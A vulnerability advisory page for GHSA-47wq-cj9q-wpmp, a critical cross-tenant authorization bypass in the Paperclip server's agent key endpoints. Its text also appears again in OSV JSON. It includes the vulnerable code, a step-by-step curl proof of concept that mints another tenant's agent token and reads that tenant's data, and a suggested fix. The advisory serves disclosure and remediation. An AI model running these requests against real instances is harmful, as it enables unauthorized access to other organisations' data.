GHSA-47wq-cj9q-wpmp: Paperclip Cross-tenant Agent API Token Minting Vulnerability

CRITICAL
CVSS 9.9
CWE-1220 CWE-639 CWE-862 CWE-285
Published
Advisory Summary

GHSA-47wq-cj9q-wpmp is a CRITICAL (CVSS 9.9) cross-tenant agent api token minting vulnerability (CWE-1220: Insufficient Granularity of Access Control) affecting Paperclip libraries in the npm ecosystem. The issue involves cross-tenant agent api token minting via missing assertcompanyaccess on /api/agents/:id/keys. Remediation is available by upgrading affected packages to version 2026.416.0.

GHSA-47wq-cj9q-wpmp at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-47wq-cj9q-wpmp
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-1220: Insufficient Granularity of Access Control
Affected Product Paperclip
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-47wq-cj9q-wpmp

To remediate this vulnerability, upgrade all affected Paperclip dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@paperclipai/server fixed: 2026.416.0
npm install @paperclipai/server@2026.416.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @paperclipai/server

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-47wq-cj9q-wpmp, inspect your project dependencies using npm:

npm ls @paperclipai/server

Analyze the terminal output to locate any version of Paperclip in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.416.0), your application is affected.

Note: The npm ls @paperclipai/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1220: Insufficient Granularity of Access Control, where the product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. however, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets. In Paperclip, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" /> > Isolated paperclip instance running in authenticated mode (default config) > on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post > the 2026.410.0 patch). This advisory was verified on an unmodified build. ### Summary `POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and `DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts` lines 2050-2087) only call `assertBoard` to authorize the caller. They never call `assertCompanyAccess` and never verify that the caller is a member of the company that owns the target agent. Any authenticated board user (including a freshly signed-up account with zero company memberships and no `instance_admin` role) can mint a plaintext `pcp_*` agent API token for any agent in any company on the instance. The minted token is bound to the **victim** agent's `companyId` server-side, so every downstream `assertCompanyAccess` check on that token authorizes operations inside the victim tenant. This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover. ### Root Cause `server/src/routes/agents.ts`, lines 2050-2087: ```ts router.get("/agents/:id/keys", async (req, res) => { assertBoard(req); // <-- no assertCompanyAccess const id = req.params.id as string; const keys = await svc.listKeys(id); res.json(keys); }); router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => { assertBoard(req); // <-- no assertCompanyAccess const id = req.params.id as string; const key = await svc.createApiKey(id, req.body.name); ... res.status(201).json(key); // returns plaintext `token` }); router.delete("/agents/:id/keys/:keyId", async (req, res) => { assertBoard(req); // <-- no assertCompanyAccess const keyId = req.params.keyId as string; const revoked = await svc.revokeKey(keyId); ... }); ``` Compare the handler 12 lines below, `router.post("/agents/:id/wakeup")`, which shows the correct pattern: it fetches the agent, then calls `assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above do not even fetch the agent. The token returned by `POST /agents/:id/keys` is bound to the **victim** company in `server/src/services/agents.ts`, lines 580-609: ```ts createApiKey: async (id: string, name: string) => { const existing = await getById(id); // victim agent ... const token = createToken(); const keyHash = hashToken(token); const created = await db .insert(agentApiKeys) .values({ agentId: id, companyId: existing.companyId, // <-- victim tenant name, keyHash, }) .returning() .then((rows) => rows[0]); return { id: created.id, name: created.name, token, // <-- plaintext returned createdAt: created.createdAt, }; }, ``` `actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer token to `actor = { type: "agent", companyId: existing.companyId }`, so every subsequent `assertCompanyAccess(req, victim.companyId)` check passes. The exact same `assertBoard`-only pattern is also present on agent lifecycle handlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`, and `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can terminate, delete, or silently pause any agent in any company with the same primitive. ### Trigger Conditions 1. Paperclip running in `authenticated` mode (the public, multi-user configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`). 2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7). 3. At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected. No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships. ### PoC Verified against a freshly built `ghcr.io/paperclipai/paperclip:latest` container at commit `b649bd4` (2026.411.0-canary.8, which is **post** the 2026.410.0 import-bypass patch). Full 5-step reproduction: <img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" /> > Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow > (no invite, no verification) and confirms via `GET /api/companies` that she > is a member of zero companies. She has no tenant access through the normal > authorization path. ```bash # Step 1: attacker signs up as an unprivileged board user curl -s -X POST http://<target>:3102/api/auth/sign-up/email \ -H 'Content-Type: application/json' \ -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}' # Save the `better-auth.session_token` cookie from Set-Cookie. # Step 2: confirm zero company membership curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies # -> [] ``` <img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" /> > Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys` > targeting an agent in Victim Corp (a company she is NOT a member of). The > server returns a plaintext `pcp_*` token tied to the victim's `companyId`. > There is no authorization error. `assertBoard` passed because Mallory is a > board user; `assertCompanyAccess` was never called. ```bash # Step 3: mint a plaintext token for a victim agent VICTIM_AGENT=<any-agent-id-in-another-company> curl -s -X POST \ -H "Cookie: $MALLORY_SESSION" \ -H "Origin: http://<target>:3102" \ -H "Content-Type: application/json" \ -d '{"name":"pwnkit"}' \ http://<target>:3102/api/agents/$VICTIM_AGENT/keys # -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... } ``` <img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" /> > Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware` > resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every > downstream `assertCompanyAccess` gate authorizes reads against Victim Corp. > Mallory can now enumerate the victim's company metadata, issues, approvals, > and agent configuration — none of which she had access to 30 seconds ago. ```bash # Step 4: use the stolen token to read victim company data STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25 VICTIM_CO=<victim-company-id> curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/companies/$VICTIM_CO # -> 200 { "id":"...", "name":"Victim Corp", ... } curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/companies/$VICTIM_CO/issues # -> 200 [ ...every issue in the victim tenant... ] curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/companies/$VICTIM_CO/approvals # -> 200 [ ...every approval in the victim tenant... ] curl -s -H "Authorization: Bearer $STOLEN" \ http://<target>:3102/api/agents/$VICTIM_AGENT # -> 200 { ...full agent config incl. adapter settings... } ``` Observed outputs (all verified on live instance at time of submission): - `POST /api/agents/:id/keys` → **201** with plaintext `token` bound to the victim's `companyId` - `GET /api/companies/:victimId` → **200** full company metadata - `GET /api/companies/:victimId/issues` → **200** issue list - `GET /api/companies/:victimId/agents` → **200** agent list - `GET /api/companies/:victimId/approvals` → **200** approval list ### Impact - **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220) - **Who is impacted:** every paperclip instance running in `authenticated` mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is the documented multi-user configuration and the default in `docker/docker-compose.quickstart.yml`. - **Confidentiality:** HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings). - **Integrity:** HIGH. The minted token is a persistent agent credential that authenticates for every `assertCompanyAccess`-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.). - **Availability:** HIGH. The attacker can `pause`, `terminate`, or `DELETE` any agent in any company via the sibling `assertBoard`-only handlers (`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`). - **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed chain, but the same root cause (`assertBoard` treated as sufficient where `assertCompanyAccess` is required on a cross-tenant resource, or where `assertInstanceAdmin` is required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover. Severity is driven by the fact that every precondition is default, the bug is reachable by any signed-up user with zero memberships, and the stolen token persists across sessions until manually revoked. ### Suggested Fix In `server/src/routes/agents.ts`, replace each of the three `/keys` handlers so they load the target agent first and enforce company access: ```ts router.get("/agents/:id/keys", async (req, res) => { assertBoard(req); const id = req.params.id as string; const agent = await svc.getById(id); if (!agent) { res.status(404).json({ error: "Agent not found" }); return; } assertCompanyAccess(req, agent.companyId); const keys = await svc.listKeys(id); res.json(keys); }); router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => { assertBoard(req); const id = req.params.id as string; const agent = await svc.getById(id); if (!agent) { res.status(404).json({ error: "Agent not found" }); return; } assertCompanyAccess(req, agent.companyId); const key = await svc.createApiKey(id, req.body.name); ... }); router.delete("/agents/:id/keys/:keyId", async (req, res) => { assertBoard(req); const keyId = req.params.keyId as string; // Look up the key to find its agentId/companyId, then: const key = await svc.getKeyById(keyId); if (!key) { res.status(404).json({ error: "Key not found" }); return; } assertCompanyAccess(req, key.companyId); await svc.revokeKey(keyId); res.json({ ok: true }); }); ``` While fixing this, audit the sibling lifecycle handlers at lines 1962-2048 (`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which share the same bug. Defense in depth: consider a code-wide sweep for `assertBoard(req)` calls that are not immediately followed by `assertCompanyAccess` or `assertInstanceAdmin` — the 2026.410.0 patch focused on one handler but the pattern is systemic. ### Patch Status - Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest` digest `sha256:baa9926e...`, commit `b649bd4` (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import bypass fix. - The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container. ### Credits Discovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an AI-assisted security scanner, during variant-hunt analysis of GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip instance.

GHSA-47wq-cj9q-wpmp Affected Paperclip Versions

1 component(s)
Fixed Versions:
2026.416.0
Product / Package Ecosystem Affected Versions Fixed Version
@paperclipai/server
npm
< 2026.416.0
2026.416.0

References

Frequently Asked Questions

What is GHSA-47wq-cj9q-wpmp?
GHSA-47wq-cj9q-wpmp is a security vulnerability in Paperclip involving Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys under CWE-1220: Insufficient Granularity of Access Control.
Which Paperclip versions are affected?
Affected versions include releases prior to 2026.416.0 across affected packages: @paperclipai/server.
What version fixes GHSA-47wq-cj9q-wpmp?
Upgrading to 2026.416.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @paperclipai/server affected?
Yes, @paperclipai/server is affected in releases prior to 2026.416.0. Upgrade your dependency to 2026.416.0 or later.
What is the CVSS score of GHSA-47wq-cj9q-wpmp?
GHSA-47wq-cj9q-wpmp has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with GHSA-47wq-cj9q-wpmp?
GHSA-47wq-cj9q-wpmp is classified under CWE-1220: Insufficient Granularity of Access Control (The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.).
How can I check npm dependencies for GHSA-47wq-cj9q-wpmp?
Run the dependency tree command: 'npm ls @paperclipai/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47wq-cj9q-wpmp",
  "modified" : "2026-04-16T22:48:32Z",
  "published" : "2026-04-16T22:48:32Z",
  "aliases" : [ ],
  "summary" : "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys",
  "details" : "<img width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" />\n\n> Isolated paperclip instance running in authenticated mode (default config)\n> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n> the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent's `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n  assertBoard(req);                             // <-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n  assertBoard(req);                             // <-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n  res.status(201).json(key);                    // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n  assertBoard(req);                             // <-- no assertCompanyAccess\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) => {\n  const existing = await getById(id);                 // victim agent\n  ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,                  // <-- victim tenant\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) => rows[0]);\n\n  return {\n    id: created.id,\n    name: created.name,\n    token,                                            // <-- plaintext returned\n    createdAt: created.createdAt,\n  };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n   configuration — `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default — same\n   default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n   agent. In practice this is the normal state of any production paperclip\n   deployment. The attacker needs the victim agent's ID, which leaks through\n   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n   the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n<img width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" />\n> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n> (no invite, no verification) and confirms via `GET /api/companies` that she\n> is a member of zero companies. She has no tenant access through the normal\n> authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://<target>:3102/api/auth/sign-up/email \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}'\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://<target>:3102/api/companies\n# -> []\n```\n\n<img width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" />\n> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n> targeting an agent in Victim Corp (a company she is NOT a member of). The\n> server returns a plaintext `pcp_*` token tied to the victim's `companyId`.\n> There is no authorization error. `assertBoard` passed because Mallory is a\n> board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=<any-agent-id-in-another-company>\ncurl -s -X POST \\\n  -H \"Cookie: $MALLORY_SESSION\" \\\n  -H \"Origin: http://<target>:3102\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"pwnkit\"}' \\\n  http://<target>:3102/api/agents/$VICTIM_AGENT/keys\n# -> 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n<img width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" />\n> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n> resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n> downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n> Mallory can now enumerate the victim's company metadata, issues, approvals,\n> and agent configuration — none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=<victim-company-id>\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/companies/$VICTIM_CO\n# -> 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/companies/$VICTIM_CO/issues\n# -> 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/companies/$VICTIM_CO/approvals\n# -> 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://<target>:3102/api/agents/$VICTIM_AGENT\n# -> 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` → **201** with plaintext `token` bound to\n  the victim's `companyId`\n- `GET /api/companies/:victimId` → **200** full company metadata\n- `GET /api/companies/:victimId/issues` → **200** issue list\n- `GET /api/companies/:victimId/agents` → **200** agent list\n- `GET /api/companies/:victimId/approvals` → **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n  CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n  mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n  the documented multi-user configuration and the default in\n  `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant's\n  company metadata, issues, approvals, runs, and agent configuration (which\n  includes adapter URLs, model settings, and references to stored secret\n  bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n  that authenticates for every `assertCompanyAccess`-gated agent-scoped\n  mutation in the victim tenant (issue/run updates, self-wakeup with\n  attacker-controlled payloads, adapter execution via the agent's own\n  adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n  `DELETE` any agent in any company via the sibling `assertBoard`-only\n  handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n  `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n  `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n  chain, but the same root cause (`assertBoard` treated as sufficient where\n  `assertCompanyAccess` is required on a cross-tenant resource, or where\n  `assertInstanceAdmin` is required on an instance-global resource) is\n  present in multiple other handlers. The import fix did not audit sibling\n  routes. This report is an instance of that same class the prior advisory\n  did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) => {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) => {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) => {\n  assertBoard(req);\n  const keyId = req.params.keyId as string;\n  // Look up the key to find its agentId/companyId, then:\n  const key = await svc.getKeyById(keyId);\n  if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n  assertCompanyAccess(req, key.companyId);\n  await svc.revokeKey(keyId);\n  res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` — the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n  digest `sha256:baa9926e...`, commit `b649bd4`\n  (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n  bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n  against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@paperclipai/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.416.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/paperclipai/paperclip"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1220", "CWE-285", "CWE-639", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T22:48:32Z",
    "nvd_published_at" : null
  }
}